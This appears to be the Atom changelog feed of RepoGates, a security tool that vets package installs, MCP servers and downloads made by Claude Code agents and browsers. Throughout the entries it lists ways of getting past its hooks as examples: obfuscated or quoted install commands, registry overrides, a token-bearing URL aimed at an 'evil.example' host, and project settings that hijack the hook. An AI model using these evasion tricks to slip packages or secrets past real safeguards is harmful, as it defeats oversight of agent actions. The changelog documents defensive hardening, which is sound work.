<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>RepoGates changelog</title>
  <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html"/>
  <link rel="self" type="application/atom+xml" href="https://repogates.com/changelog.xml"/>
  <id>https://repogates.com/changelog.xml</id>
  <updated>2026-10-20T00:00:00Z</updated>
  <author><name>RepoGates</name></author>
  <entry>
    <title>Claude Code plugin 0.9.23</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-23"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.23</id>
    <updated>2026-10-20T00:00:00Z</updated>
    <content type="text">Added: Deno lines are read, and an MCP server that runs “docker run” is asked about (RG-278). “deno run npm:pkg”, “deno npm:pkg”, “deno x pkg”, “dx pkg” and “deno install|i|add pkg” named nothing, so “claude mcp add srv -- deno run -A npm:pkg” was neither looked up nor asked about. The npm package is now looked up (its version and binary dropped); a “jsr:” specifier is asked about, because JSR is not assessed; a GitHub or gitlab.com URL is that repository. The hook sends a deno line holding “npm:” or “jsr:”, or a word after “deno x”, “dx”, “deno install|i|add”. “claude mcp add srv -- docker run … img” (and add-json, podman, “docker container run”) is asked about: a container image is not assessed. A “docker run” typed at a terminal stays quiet. The container is found behind “bash -c”, “eval” and “env -S” too, and nerdctl, finch and compose count. An “npm:”/“jsr:” specifier is read under deno&#x27;s other subcommands (“deno eval &quot;import(&#x27;npm:pkg&#x27;)&quot;”, “deno test”, “compile”, “cache”), and so is “--preload|--import|--require”. Not seen: “deno task”, the imports inside a script file, “deno create” / “deno init --npm”, and an import map or “deno.json” that remaps a specifier.
Changed: “/repogates:checkup” runs CLI 0.2.2 (sha256 “9f6f51d0…”), whose “checkup-plaintext-key” fix no longer says &quot;The check-up sent the provider and a count&quot; under an “--offline” run&#x27;s &quot;sent: nothing&quot; line. 0.2.1 stays served for plugin 0.9.22.
Fixed: A scan made minutes ago is read, not refused (RG-271). On a repository scanned inside the reuse window the quote says “charge: 0”, and “/repogates:fix-my-repo” and “/repogates:scan” ran “scan.sh --accept 0”, which answered “bad_request” &quot;--accept takes 1, 2 or 3&quot;. “scan.sh” takes 0 and both commands say what it does: the API returns that scan and charges nothing, and if the window closed between the quote and the start it answers “confirm_credits” and starts nothing (API: “accept_credits” 0 to 3, same change). Until that API change is deployed, 0 is refused by the service instead of the script.
Fixed: “/repogates:fix-my-repo” prints every item of the plan, one by one; in the take-3 smoke run Claude summarised the list in two sentences.</content>
  </entry>
  <entry>
    <title>Service: API, MCP server, site 2026.10.20</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#service-2026-10-20"/>
    <id>tag:repogates.com,2026:changelog/service/2026.10.20</id>
    <updated>2026-10-20T00:00:00Z</updated>
    <content type="text">Changed: The home page&#x27;s structured data names the pricing page&#x27;s plans, monthly ones included; the coming-soon vote page is out of search; /about redirects to /about.html.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.22</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-22"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.22</id>
    <updated>2026-10-19T00:00:00Z</updated>
    <content type="text">Security: “/repogates:checkup” runs CLI 0.2.1 (sha256 “915275e5…”), which shapes a file name with a space, “(”, “,”, an escape or quotes in a permission rule instead of sending the rest of it (SEC-1019-3), and reads every added line in “secrets --staged/--history” (SEC-1019-4).
Security: The write guard drops placeholders before it counts (SEC-1019-5): five “ghp_XXXX…” lines above a real key used to fill its cap of five and hide the key. One pass now reads every match, up to 2,000 lines.
Security: Both hooks start with “BASH_ENV” and “ENV” cleared (SEC-1019-7), beside the pinned “PATH”: a project&#x27;s settings could set “BASH_ENV”, which bash reads before the hook&#x27;s first line.
Fixed: The write guard&#x27;s question is shown inside Claude Code (RG-272). Its ask carried the reason in “permissionDecisionReason” only, and Claude Code&#x27;s file-edit permission dialog (2.1.302 and 2.1.303, read in the shipped binary) draws a hook&#x27;s reason only after a denial limit fell back to a prompt; so on Write and Edit the user saw Claude Code&#x27;s own &quot;Do you want to create .env?&quot; and no word from RepoGates (smoke S32). The ask now also carries the same text as a “systemMessage”, which the transcript draws as &quot;PreToolUse:Write says: RepoGates: …&quot; before the dialog. The decision is unchanged: it asks, it never denies, and no part of the value is printed.</content>
  </entry>
  <entry>
    <title>Check-up CLI 0.2.2</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#cli-0-2-2"/>
    <id>tag:repogates.com,2026:changelog/cli/0.2.2</id>
    <updated>2026-10-19T00:00:00Z</updated>
    <content type="text">Fixed: Under “--offline”, the “checkup-plaintext-key” fix text no longer says the check-up sent the provider and a count, beside the run&#x27;s &quot;sent: nothing&quot; line.</content>
  </entry>
  <entry>
    <title>Check-up CLI 0.2.1</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#cli-0-2-1"/>
    <id>tag:repogates.com,2026:changelog/cli/0.2.1</id>
    <updated>2026-10-19T00:00:00Z</updated>
    <content type="text">Security: A file name holding a space, “(”, “,”, an escape or quotes in a permission rule is sent as its shape, instead of the rest of the rule as written (SEC-1019-3).
Security: “secrets --staged” and “secrets --history” read every added line of the diff (SEC-1019-4).</content>
  </entry>
  <entry>
    <title>Service: API, MCP server, site 2026.10.19</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#service-2026-10-19"/>
    <id>tag:repogates.com,2026:changelog/service/2026.10.19</id>
    <updated>2026-10-19T00:00:00Z</updated>
    <content type="text">Security: Any second use of a spent OAuth refresh token revokes the whole grant, including the pair minted from it (SEC-1019-1).
Added: A page on Claude Code security: what to check before an agent installs a plugin or a skill.
Changed: One organisation entity across the site&#x27;s structured data, sixteen skill checks named where the count is printed, and a sitemap date only where a page states its own.
Changed: The plugin landing page puts the install step first, with a free browser start beside the plugin.
Changed: A reused deep scan can be started for no credit: “accept_credits” takes 0 when the quote says the charge is 0.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.21</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-21"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.21</id>
    <updated>2026-10-18T00:00:00Z</updated>
    <content type="text">Security: The hook&#x27;s credential shapes are the CLI&#x27;s 0.2.0 list (audit SEC-87): ASIA key ids, PEM private-key headers, “hf_”, “sk_live_”/“rk_live_”, “AIza” and “npm_” are cut from a command line before it is sent.
Security: A timeout of 0 is the default, not &quot;no limit&quot; (RG-151, SEC-49). “REPOGATES_TIMEOUT” and “REPOGATES_CONNECT_TIMEOUT” below 1 now mean the default (5 s and 3 s): curl reads “--max-time 0” as no limit, so a project&#x27;s settings could hold the hook to Claude Code&#x27;s 15 s kill, after which the tool proceeds.
Security: “/repogates:scan” reads its wait and timeout as numbers (RG-151, SEC-55g). “REPOGATES_SCAN_WAIT” (0-900 s, 150 otherwise) and “REPOGATES_TIMEOUT” (1-60 s, 10 otherwise): a value that was not a number broke the wait loop&#x27;s deadline and was printed raw into the JSON.
Security: “/repogates:checkup” checks the wheel before it runs it (RG-151, SEC-52). The command downloads the wheel to a new temporary directory, compares its SHA-256 with the value written in the command itself (not the “.sha256” file beside the wheel, which comes from the same site), and runs the checked file; a mismatch stops with both values. The version and the SHA-256 are one pair of lines; a test holds them to “cli/pyproject.toml” and the reproducible build.
Added: The write guard (U-2, the owner&#x27;s approval of 18 October 2026, &quot;secrets only&quot;). A second PreToolUse hook, “hooks/secrets.sh”, runs before Write, Edit, MultiEdit and NotebookEdit. Edit and Write are read for one thing only — an API key about to be saved — checked on the machine and never sent; that guard asks, it never denies. It reads only the text about to be written (“content”, “new_string”, every “edits[].new_string”, “new_source”; never “old_string”, never the file on disk) against “hooks/secret-shapes.txt”: 49 shapes with a distinctive prefix (GitHub, GitLab, Anthropic, OpenAI, AWS, Google, Slack, Hugging Face, npm, PyPI, Stripe, Replicate, Groq, xAI, OpenRouter, PEM private keys and others), translated to POSIX ERE by “tools/gen_secret_shapes.py” from the vendored Gitleaks v8.30.1 rules and ours, and held equal to the tool&#x27;s output by a test. On a match it asks, naming the provider, the file and the line, never any part of the value; a placeholder (“ghp_XXXX…”, AWS&#x27;s “…EXAMPLE”) is silent. No network call. It runs where a RepoGates token is configured. A write over 2 MB, a missing tool or list, an input it cannot read or a guard that cannot start is a note saying the write was not checked, never a question (the owner: &quot;a failed guard is a note, never an ask&quot;); hooks.json starts it with the same pinned “PATH” as the preflight (RG-200). Linear: one awk pass that splits at backslashes, a fixed-string prefilter, EREs only on the lines that hold a prefix, everything under “LC_ALL=C”; 1 MB of near-misses on every line took 1.4 s on macOS (BWK awk, with and without jq), 0.2 s in Debian (mawk, GNU grep and sed) and about 1 s in Alpine (busybox). Not seen: a key written by a Bash command (“echo … &gt; .env”), a key with no fixed prefix.
Changed: “/repogates:checkup” runs CLI 0.2.0, checked against the SHA-256 written in the command (“828759da…”). 0.2.0 adds the free, offline “repogates-checkup secrets” command, a count of API keys left in plain text in agent config (“checkup-plaintext-key”), and an opt-in “--check-live” that sends a found key only to its own provider.</content>
  </entry>
  <entry>
    <title>Check-up CLI 0.2.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#cli-0-2-0"/>
    <id>tag:repogates.com,2026:changelog/cli/0.2.0</id>
    <updated>2026-10-18T00:00:00Z</updated>
    <content type="text">Security: Seven more token shapes are redacted before anything is sent (SEC-87); a permission rule keeps a file&#x27;s shape, never its name (SEC-54); the rules cache is written without following a link (SEC-55h).
Added: “repogates-checkup secrets [PATH]”: a free, offline check of files, staged changes (“--staged”) or history (“--history”) for API keys that match the Gitleaks rule set and six AI-provider rules; nothing is sent.
Added: “--check-live”, opt-in: a likely-real key is sent once to its own provider&#x27;s documented read-only endpoint, and nowhere else.
Added: The check-up counts API keys left in plain text in agent configuration (“checkup-plaintext-key”), sending the provider and a count, never the key.</content>
  </entry>
  <entry>
    <title>Service: API, MCP server, site 2026.10.18</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#service-2026-10-18"/>
    <id>tag:repogates.com,2026:changelog/service/2026.10.18</id>
    <updated>2026-10-18T00:00:00Z</updated>
    <content type="text">Security: Signing out ends the session on the server, and a reused refresh token revokes the grant (SEC-16, 17, 18, 19, 68).
Security: The site: redirects after sign-in stay on the site, no token in a URL, a cross-origin opener policy (SEC-22, 23, 24, 26, 28, 32, 37).
Security: The scan job: a timed-out engine stops with all its children, archive caps are counted before parsing, development overrides need a flag (SEC-64, 67, 69, 70).
Added: The account page lists the credentials an account&#x27;s deep scans found committed, each with a status the user sets: open, rotated or not a secret.
Fixed: An archive whose member names collide is refused as the archive&#x27;s fault, not recorded as an infrastructure failure (SEC-1019-2).</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.20</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-20"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.20</id>
    <updated>2026-10-16T00:00:00Z</updated>
    <content type="text">Added: “claude mcp add” and “claude mcp add-json” are read (Part P4a). Adding an MCP server starts its command later, so the hook sends the line and the service reads that command as if typed: “claude mcp add srv -- npx -y pkg” is judged as “npx -y pkg” (denied when blocked, asked about when unknown), and so are “uvx”, “pipx run” and the other launchers the hook already reads, and the “command” and “args” of an “add-json”. The variadic “-e” and “-H” are read as Claude Code reads them, and also as taking one word, so a misreading cannot hide a package. A remote server (“--transport http|sse”, or a URL where the command goes) is asked about: it is not assessed yet. A local script (“node ./server.js”) names nothing to look up; “add-from-claude-desktop”, “list”, “get” and “remove” are not sent. Before release the review found three ways round it, now closed: a flag after the server&#x27;s name (“npx --package=evil x”) is part of the command; the server&#x27;s environment is read with it, so “-e npm_config_registry=URL” (or the same in add-json&#x27;s “env”) is asked about; and “claude-code”, “npx @anthropic-ai/claude-code” and “claude” behind another word are read too, as are commander&#x27;s attached values (“-eK=V”, “-tsse”), a Windows launcher name (“claude.exe”), and a command with a space, a quote or a shell metacharacter in it (“&quot;npx -y pkg&quot;”, “&quot;true;npx pkg&quot;”), read also as sh and as cmd.exe would run it (cmd.exe only as far as “&#x27;” and “^”).</content>
  </entry>
  <entry>
    <title>Browser extension 0.8.6</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#extension-0-8-6"/>
    <id>tag:repogates.com,2026:changelog/extension/0.8.6</id>
    <updated>2026-10-14T00:00:00Z</updated>
    <content type="text">Served: 14 October 2026 (Chrome Web Store).
Security: A download on a gated site is never &quot;not ours&quot; because of how its address is spelled. Measured 10 October: with a dot after the host name (“codeload.github.com./…”, “raw.githubusercontent.com./…”, “gitlab.com./…”, “huggingface.co./…”) each site serves the file, Chrome keeps the dot, and the gate matched none of them — the download went through with no verdict, no page and no audit row. Every address is now put in one spelling before any pattern reads it: the trailing dot, a user name in front of the host and a fragment are dropped, and a percent-encoded letter, digit, “-”, “.”, “_” or “~” anywhere in the path is decoded once. The servers read those so: GitHub and Hugging Face serve “pallets/%66lask” as “pallets/flask” (the key used to miss the campaign copy and the allowlist kept in the browser), and gitlab.com&#x27;s API serves “/api/v4/projects/1234/%72epository/archive.zip”. “codeload.github.com” and “raw.githubusercontent.com” also read “%2F” as a slash (“pallets%2Fflask” is pallets/flask), so the gate does too, on those hosts only. Tab lineage reads pages the same way.
Security: gitlab.com&#x27;s project API is gated. Every download under “/api/v4/projects/&lt;project&gt;/…” is that project&#x27;s — the archive, a file, a package, a job&#x27;s artifacts, a release&#x27;s downloads and its &quot;latest&quot; permalink, and whatever route is added next: the gate does not keep a list of routes. The link names the project when it carries its path. By numeric id it names nothing: clicked on a gitlab.com project page it is that project&#x27;s, as before; from any other site, or typed, it is not assessable and your fail mode decides — by default the download is stopped, with a page that says the project could not be identified and offers the override. Until now such a link downloaded unchecked. The audit&#x27;s own example, a percent-encoded project path, does not download anything: gitlab.com refuses it.
Security: A link that has the shape of a download but names nothing readable is not assessable, never &quot;not ours&quot; — a name that does not decode to a name. An override for one such link does not open the next, and these links are recorded under names no repository can have (“not-identified:…”), so a verdict or an override for a real repository never answers for one of them.
Security: The block page shows the worker&#x27;s decision, not its address&#x27;s. The whole decision used to ride in the page&#x27;s address, and the page sent it back with the Proceed click. On a managed browser with overrides turned off, an address written by hand got a Proceed button and the worker believed it (reproduced in Chromium: the download was allowed and recorded as &quot;proceeded&quot;). The address now carries a random nonce; the decision is the worker&#x27;s record, and whether it was a block, which repository and which URL come from that record. A block page left open across a browser restart says it has expired.
Security: The verdict, score and owner caches are cleaned out. They were one row per repository page ever opened and nothing removed them; at the storage quota a write was refused inside the gate. Expired rows now go every 30 minutes, at most 300 live rows stay, and a refused write makes room instead of failing.
Fixed: The gate has a catch. An error on the way to a verdict used to leave the download held and undecided, and Chrome let it through after 15 seconds whatever the fail mode. It is now decided by the fail mode, and said on the page as a check that could not be completed. The audit log can no longer raise into the gate either.
Fixed: &quot;Override and download anyway&quot; on a release asset RepoGates could not name now works for the browser session; it used to start the same download and meet the same block.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.19</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-19"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.19</id>
    <updated>2026-10-11T00:00:00Z</updated>
    <content type="text">Added: “/repogates:fix-my-repo owner/repo” deep-scans a public repository you maintain and prints what to fix first. It keeps “/repogates:scan”&#x27;s rule on money: it quotes, asks with the price, and never spends more than the number you agreed to. Then it prints the scan&#x27;s fix plan: the findings ranked, each with where it is, why it matters, what to change and how to confirm it, and what changed since your previous scan of the same repository (cleared, still open, new, not re-checked with the reason). It prints. It does not edit, create or delete a file. The titles, reasons and fixes are RepoGates&#x27; own sentences; a path or a rule id is the repository&#x27;s name for something, and the command says so.
Added: It reads the plan and never the scan record. “hooks/scan.sh” has three new modes, each a read of the service&#x27;s plan view (“?format=plan”), which leaves out a finding&#x27;s own message, the scan&#x27;s notes and an engine&#x27;s note: “--plan” (with “--accept N”: the same scan “/repogates:scan” starts, answered with its plan), “--plan-of SCAN_ID” (the plan of a scan already made) and “--plan-latest owner/repo” (the plan of your account&#x27;s latest finished scan of that repository). The last two start nothing and spend nothing. The two existing modes and the hook are unchanged.
Added: What it cannot do, said in the command. An agent may start a scan only for a repository whose ordinary verdict is REVIEW or that could not be assessed; a repository that passes, or is blocked, is scanned from your account page, and the command then reads that scan&#x27;s plan. A scan reads the code and never runs it; a list with nothing left on it is not an audit; checking again is another scan and spends credits; private repositories are not scanned.
Added: The MCP server has a twelfth tool, “fix_plan”, which reads the same plan for any MCP client. It starts nothing, spends nothing and changes no code.
Changed: The service&#x27;s skill roster has sixteen checks, and the README and the vetting skill say so. S16, declared versus actual behaviour, compares what a skill or plugin says it is for (its description and “allowed-tools”) with what its scripts and hook commands do (a network request, a read of a secret store, a step that survives a reboot). The hook itself is unchanged: “npx skills add” and “claude plugin install” were already sent, and the answer now carries one more check. A gap alone is a note on an established listing and a finding on a new one; it never blocks by itself.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.18</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-18"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.18</id>
    <updated>2026-10-08T00:00:00Z</updated>
    <content type="text">Fixed: “npm.cmd”, “pip.exe”, “yarnpkg” and “pip3.12” were not sent. A Windows launcher (“npm.cmd”, “npx.cmd”, “pip.exe” — Git Bash runs “npm.cmd install x”), yarn&#x27;s second binary “yarnpkg” and pip under its Python version (“pip3.12”, “pip2”) were words no rule of the hook knew, so “yarnpkg add evil-pkg” and “pip3.12 install evil-pkg” ran with no decision. The hook now reads each as the package manager it is; the service does the same, and also reads what the hook already sent but the service did not: the body of a backtick or “$(…)” substitution (in double quotes too, and in a heredoc whose delimiter is not quoted), and “nix-shell --run &#x27;…&#x27;”. A backtick in a commit message written as “git commit -m &quot;$(cat &lt;&lt;&#x27;EOF&#x27; … EOF)&quot;” is text, as before.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.17</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-17"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.17</id>
    <updated>2026-10-08T00:00:00Z</updated>
    <content type="text">Security: With bash outside the pinned directories, the tool went ahead. “hooks.json” starts the hook with a pinned “PATH” (below). Where “bash” is in none of those directories, or the script cannot be read, “/usr/bin/env” exits 127 with no output, and Claude Code reads a hook that failed without an answer as &quot;proceed&quot;. The command now ends in an explicit ask for that case. The hook itself always exits 0, so a hook that ran answers once.
Security: A project&#x27;s settings could choose the “bash” and “curl” the hook ran. Claude Code started the hook as “bash &quot;…/preflight.sh&quot;”, looking “bash” up on the session&#x27;s “PATH”, which a project&#x27;s “.claude/settings.json” can set; a project&#x27;s own “bash”, “curl” or “jq” could then answer for RepoGates. “hooks.json” now starts it through “/usr/bin/env” with a pinned “PATH” (“/usr/bin”, “/bin”, “/usr/sbin”, “/sbin”, then Homebrew, “/usr/local/bin”, NixOS&#x27;s and Nix&#x27;s profiles, and Git for Windows&#x27; “/mingw64/bin”), so the hook and every tool it runs come from those directories. A project that sets “PATH” still runs its own programs in every command the agent runs; what the pin changes is who answers for RepoGates: the hook, not the project.
Fixed: A quoted “;” or a quoted space hid the package or the verb. The hook splits a line at “;” and at spaces without reading quotes, so “npm install &quot;--foo=;&quot; evil-pkg”, “npm --prefix &quot;my dir&quot; install evil-pkg”, “pnpm --dir &#x27;my app&#x27; add …” and “yarn --cwd &quot;my app&quot; add …” were not sent, though the service reads every one (listed as not seen since 0.9.11); so were the same lines with the space or “;” escaped by a backslash (“my\ dir”). A line with a quoted or escaped space or separator is now sent when a package manager starts a command: by name or by path (“/usr/local/bin/npm”, “./node_modules/.bin/npm”), after any words that start another command (“sudo -u bob”, “nice -n 10”, “FOO=1”, “bash -c”, “eval”, “python3 -m pip”, “find . -exec”, “direnv exec .”), or after “then”, “do”, “{”, “!”, a backtick or a newline. A quote that splits nothing (“npm install &quot;./dir&quot;”, “&quot;npm&quot; test”), the “-c” string of “npx” or “npm exec” (read as before) and a package manager inside a sentence (“git commit -m &quot;bump npm deps&quot;”) stay quiet. The cost is a call on a package-manager command with a quoted space that installs nothing (“npm run test -- --grep &quot;my test&quot;”). A package manager behind a command-starting word not in the hook&#x27;s list is still not sent.</content>
  </entry>
  <entry>
    <title>Browser extension 0.8.5</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#extension-0-8-5"/>
    <id>tag:repogates.com,2026:changelog/extension/0.8.5</id>
    <updated>2026-10-08T00:00:00Z</updated>
    <content type="text">Served: 8 October 2026 (Chrome Web Store); 13 October 2026 (Edge Add-ons).
Changed: The gate always asks. The trial is the service&#x27;s to count — the privacy policy has always said &quot;the count lives on our server rather than in your browser&quot;. A spent trial comes back as the service&#x27;s own refusal and is shown in its words. It is still &quot;not assessed&quot;, never a pass: asking does not become allowing.
Changed: Options shows the plan the service reports, read each time the page opens: &quot;Unlimited repository checks&quot; on a paid plan or a voucher, the service&#x27;s count on the trial, &quot;Not signed in&quot; (and no number) when the browser is not activated. It used to show the browser&#x27;s own count, so a subscriber read &quot;7 of 10 free-trial checks left&quot;.
Changed: Signing in with another account, or deactivating, forgets what the service said about the previous account&#x27;s plan.
Fixed: A paid account is never refused on a count kept by the browser. The extension kept its own mirror of the free trial — ten repositories, thirty days from first use — and the download gate refused on it without asking the service. Nothing ever told the extension an account was paid: the only entitlement it stored came off a refusal, which is an unpaid one by construction. So a subscriber&#x27;s eleventh uncached download, or any uncached download thirty days after install, was cancelled as &quot;trial ended&quot; while the service would have answered. It also counted for a browser that had never signed in. Found by reading the code on 4 October, then reproduced in Chromium with this extension (“tests/e2e_paid.py”: 1 of 9 before, 15 of 15 after). With the default &quot;Pre-check repos as I browse&quot; on, a download from a page you were looking at usually had its verdict already and was not affected; a pasted archive link, Save Link As, a tab left open past the verdict&#x27;s lifetime, or pre-check off were.
Fixed: The words used when the service sends no number said a 30-day trial. The trial is 14 days; they are now held to the server&#x27;s value by a test.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.16</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-16"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.16</id>
    <updated>2026-10-07T00:00:00Z</updated>
    <content type="text">Security: ANSI-C and locale quoting left both the hook and the service silent. The shell decodes “$&#x27;…&#x27;” before the tool runs: “npm $&#x27;\x69nstall&#x27; evil” runs “npm install evil”, “$&#x27;npm&#x27; install evil” and “$&quot;npm&quot; install evil” run npm, and “curl -LO $&#x27;https://gith\x75b.com/evil/repo/archive/m.zip&#x27;” fetches from github.com. The hook did not send these, and the service named nothing in them. The hook now sends every line holding “$&#x27;” or “$&quot;”; the service decodes them (RG-196). “IFS=$&#x27;\n&#x27;” and “cut -d$&#x27;\t&#x27;” cost a call and name nothing.
Security: A project could choose the account a line was judged under (SEC-43). A project&#x27;s “.claude/settings.json” can set “REPOGATES_TOKEN” and “XDG_CONFIG_HOME” for the hook, and the variable won over the saved token file. The hook, “scan.sh” and the check-up CLI now read every place a token can be configured (“~/.config/repogates/token”, the file under “XDG_CONFIG_HOME”, “REPOGATES_TOKEN”): one value is used, two different values are asked about (the hook), refused (“scan.sh”: “tokens_differ”) or sent nowhere (the CLI runs offline and says why). Neither is printed.
Security: “/repogates:checkup” runs CLI 0.1.3. It sends a server&#x27;s or a hook&#x27;s arguments as a grammar of what the server reads — flag names, “NAME=&lt;redacted&gt;”, URL hostnames, the package a runner starts, the operators of an inline shell script — and every other word as “&lt;arg&gt;” (SEC-44: “--user jsmith --pass hunter2”, an e-mail, a tenant and a database host left as typed). Inside a plugin&#x27;s or a project&#x27;s directory it follows no symbolic link (SEC-45: a plugin&#x27;s “commands” linked to “~/Documents” sent the name and hash of every note there). 0.1.2 and 0.1.1 stay served.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.15</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-15"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.15</id>
    <updated>2026-10-07T00:00:00Z</updated>
    <content type="text">Security: A quoted command word or host left the hook silent. 0.9.14 removed quotes and backslashes from package words only; the checks that decide whether a line is sent still read them. “&quot;gh&quot; repo clone evil/repo”, “g\h repo clone …”, “&quot;npm&quot; install express”, “npm &#x27;install&#x27; evil”, “&quot;pip&quot; install flask”, “&quot;hf&quot; download …”, “&quot;glab&quot; repo clone …” and a “curl” or “wget” URL with “gith&#x27;&#x27;ub.com” or “gith\ub.com” in it were never sent, so a blocked repository was fetched with no decision. The service reads every one. The fast path now reads the line with quotes and backslashes removed; the “$” check keeps the line as written.
Security: A package written as a variable, “$&#x27;\x65vil&#x27;”, a parameter expansion or a brace is sent, and the service asks about it (&quot;argument is a variable or subshell&quot;). Before, “npm install $&#x27;\x65vil&#x27;” installed “evil” unseen.
Fixed: “uvx”, “pipx run” and “uv tool run” are sent. The service named the package; the hook did not send the line.</content>
  </entry>
  <entry>
    <title>Check-up CLI 0.1.3</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#cli-0-1-3"/>
    <id>tag:repogates.com,2026:changelog/cli/0.1.3</id>
    <updated>2026-10-07T00:00:00Z</updated>
    <content type="text">Security: An MCP server&#x27;s or a hook&#x27;s arguments are sent as a grammar — flag names, “NAME=&lt;redacted&gt;”, URL hostnames, the package a runner starts — and every other word as “&lt;arg&gt;” (SEC-44).
Security: Inside a plugin&#x27;s or a project&#x27;s directory no symbolic link is followed (SEC-45).
Security: One token is used: when the token file and “REPOGATES_TOKEN” hold different values, the run is an offline one that says why (SEC-43).</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.14</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-14"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.14</id>
    <updated>2026-10-06T00:00:00Z</updated>
    <content type="text">Security: A token the shell assembles leaked its tail. RG-185&#x27;s rules cut the piece of a value before a quote, so “-H &quot;X-Key: gh&quot;&quot;p_…&quot;” and a token broken by a line continuation left as “$REDACTED&quot;p_…”, the token less two letters. RG-186&#x27;s reading of the line as the shell builds it then saw no token. Now RG-185&#x27;s rules run first, on the line as typed, and leave a value glued to a quote or broken by a backslash whole; RG-186&#x27;s reading finds the token in it and cuts it (“-H &#x27;X-Key: $REDACTED&#x27;”). A header value with no scheme word must end at a quote, an operator or the end of the line, so “Authorization: token gh&quot;p_…” keeps the word “token”.
Security: A header inside an assignment leaked its value. RG-186 reads “NAME=value” first (its old reading, a value runs to the first blank), so the “Authorization:” in “GIT_CONFIG_VALUE_0=&quot;Authorization: Bearer t1&quot;” was gone before RG-185 looked for it, and “t1” left. RG-185&#x27;s rules now run before it.
Security: A tab in a URL&#x27;s user name is RG-186&#x27;s: the word is rebuilt without the user name (“&#x27;https://github.com/o/r&#x27;”). RG-185&#x27;s tab rule is gone.
Security: An ANSI-C quoted URL (“$&#x27;https:\x2f\x2fu:…@…&#x27;”) has its user name cut by RG-178&#x27;s scheme rules as typed, and leaves in its own quoting; the service reads it as unresolvable and asks, where RG-186 alone rebuilt it for assessment. No secret leaves either way.
Security: The line as typed is bounded first, at 64 KB, before any rule reads it, and every bound speaks in the service&#x27;s words
Security: A backslash inside a value is the value&#x27;s (“--password p\$1” is cut whole); only a backslash that ends a line is kept out, so a token broken by a continuation reaches the shell&#x27;s reading whole.
Security: An assignment inside quotes is cut (“-e &#x27;DB_PASS=x&#x27;”), and a value that begins with “=” is a version pin, not an assignment: “pip install &#x27;flask==2.0&#x27;” is sent as written. RG-186 alone sent it as “&#x27;flask=REDACTED&#x27;”, which the service cannot read.
Security: One more user name is cut. A user name holding a non-ASCII space (“https://ghp_x&lt;U+3000&gt;y@github.com/o/r”) is one word to bash. In a UTF-8 locale the rule stopped at the space and sent the user name whole. It is cut now.
Security: Quotes and backslashes are taken off each word before it is matched, as the shell does. A word that is empty after that is skipped.
Security: “-c” / “--call” take a value after npx and npm exec only. “npx -c &#x27;eslint .&#x27;” is a local command string and stays quiet; a fetch inside it is still sent. To “pnpm dlx” and “pnpx”, “-c” is a switch, and the next word is installed, so it is read as a package there.
Security: Any run of slashes and backslashes after the scheme, or none. After “http”, “https”, “ws”, “wss” and “ftp” the WHATWG URL standard reads any such run as the “//”, and on 5 October 2026 curl 8.7.1, git 2.50.1, npm 11.17.0 and uv 0.11.14 fetched “http:///127.0.0.1:18002/a/b”, and curl, npm and uv fetched “http:/…”. The user name and password are now cut after any of them: “https:///”, “https:/”, “https:”, “https:\\”, “https:\/\/”, in capitals, behind “git+” (npm and pip hand “git+https:///…” to git), in a git config key (“url.https:///…”), and after a backslash the shell removes. The run itself is sent as written.
Security: A “?” or “#” ends the host. On 5 October 2026 curl 8.7.1, git 2.50.1, npm 11.17.0 and uv 0.11.14 connected to port 18001 for “http://127.0.0.1:18001?x@127.0.0.1:18002/” and for its “#” twin (two loopback listeners; pip 26.2.1 made no connection). After “http”, “https”, “ws”, “wss” and “ftp”, with any run of slashes, the text before the @ is now cut and the first “?” or “#” in it is left in its place: “https://?@registry.npmjs.org/”. The service finds no host there and asks.
Security: One pass to the last @. npm and curl also connected to 18001 with a user name in front (“http://u:p@127.0.0.1:18001?x@…”), and npm and uv connected to 18002 for “http://u@127.0.0.1:18001@127.0.0.1:18002/”. RG-178&#x27;s rules cut the first user name and a second rule then cut the next one, so “https://u:ghp_…@evil.example?x@registry.npmjs.org/” also left as the public registry. Everything up to the last @ before the next slash is now cut at once.
